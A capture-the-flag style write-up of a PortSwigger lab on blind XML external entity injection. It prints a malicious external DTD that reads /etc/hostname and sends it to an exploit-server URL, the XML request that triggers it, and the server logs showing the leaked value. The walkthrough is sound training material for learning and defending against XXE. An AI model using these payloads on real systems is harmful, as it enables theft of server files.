Exploiting blind XXE to exfiltrate data using a malicious external DTD

1. This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, exfiltrate the contents of the /etc/hostname file.

2. In this lab we will use portswigger's exploit server. So, we will prepare two payloads, one for storing on the exploit server, and the other one for sending in the check stock request.

3. The flow is we will store XML code in the exploit server and make the check stock request visit this exploit server. The XML entities that I created will run when the check stock request trigger it.

4. The payload that stored in the exploit server:

```
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % data "<!ENTITY &#x25; exfil SYSTEM 'https://exploit-0af800a303a4584c8157dd17019100ba.exploit-server.net?data=%file;'>">
%data;
%exfil;
```

   This payload creates three entities. The first one reads the content of **/etc/hostname** file, The second one creates an entity that forces the website to visit the exploit server and append the result of the first entity to the URL. Then call **data** entity to create the **exfil** entity then call exfil entity to save the result of **file** entity into the exploit server's logs.

   NOTE: Any action done on the exploit server saved in logs.

5. Let’s go back to check stock request. We need to make the request visit the exploit server. As we do with the exploit server, we will do it here also.

```
<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE foo [
    <!ENTITY % xxe SYSTEM
    "https://exploit-0af800a303a4584c8157dd17019100ba.exploit-server.net/exploit">
    %xxe;
    ]>
    <stockCheck>
        <productId>
            1
        </productId>
        <storeId>
            1
        </storeId>
    </stockCheck>
```

Then send this request and go back to exploit server’s logs. We will see the content of **/etc/hostname** file appears in URL parameter.

```
10.0.3.88       2025-10-20 23:54:09 +0000 "GET /exploit HTTP/1.1" 200 "User-Agent: Java/21.0.1"
10.0.3.88       2025-10-20 23:54:09 +0000 "GET /?data=1eb3211fe69e HTTP/1.1" 200 "User-Agent: Java/21.0.1"
```

Submit it and the lab will be solved.